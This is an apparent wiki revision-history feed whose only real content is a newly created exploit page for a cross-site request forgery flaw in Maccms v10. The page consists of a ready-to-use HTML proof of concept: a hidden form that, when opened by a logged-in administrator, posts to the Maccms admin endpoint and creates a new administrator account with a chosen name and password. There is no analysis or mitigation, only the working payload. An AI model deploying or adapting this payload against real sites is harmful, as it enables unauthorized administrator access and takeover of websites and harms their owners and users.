https://pwnwiki.com/index.php?action=history&feed=atom&title=Maccms_v10_%E4%BB%BB%E6%84%8F%E8%B3%AC%E8%99%9F%E5%A2%9E%E5%8A%A0CSRF%E6%BC%8F%E6%B4%9E Maccms v10 任意賬號增加CSRF漏洞 - Revision history 2026-04-21T01:44:08Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Maccms_v10_%E4%BB%BB%E6%84%8F%E8%B3%AC%E8%99%9F%E5%A2%9E%E5%8A%A0CSRF%E6%BC%8F%E6%B4%9E&diff=1455&oldid=prev Pwnwiki: Created page with "==EXP== <pre> <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.211.55.17/maccms10/admin.php/admin/admin/info.html" method="POST">..." 2021-04-10T05:22:18Z <p>Created page with &quot;==EXP== &lt;pre&gt; &lt;html&gt; &lt;body&gt; &lt;script&gt;history.pushState(&#039;&#039;, &#039;&#039;, &#039;/&#039;)&lt;/script&gt; &lt;form action=&quot;http://10.211.55.17/maccms10/admin.php/admin/admin/info.html&quot; method=&quot;POST&quot;&gt;...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> &lt;html&gt;<br /> &lt;body&gt;<br /> &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;<br /> &lt;form action=&quot;http://10.211.55.17/maccms10/admin.php/admin/admin/info.html&quot; method=&quot;POST&quot;&gt;<br /> &lt;input type=&quot;hidden&quot; name=&quot;admin_id&quot; value=&quot;&quot; /&gt;<br /> &lt;input type=&quot;hidden&quot; name=&quot;admin_name&quot; value=&quot;test2&quot; /&gt;<br /> &lt;input type=&quot;hidden&quot; name=&quot;admin_pwd&quot; value=&quot;test2&quot; /&gt;<br /> &lt;input type=&quot;hidden&quot; name=&quot;admin_status&quot; value=&quot;1&quot; /&gt;<br /> &lt;input type=&quot;hidden&quot; name=&quot;admin_auth[0]&quot; value=&quot;index/welcome&quot; /&gt;<br /> &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;<br /> &lt;/form&gt;<br /> &lt;/body&gt;<br /> &lt;/html&gt;<br /> &lt;/pre&gt;</div> Pwnwiki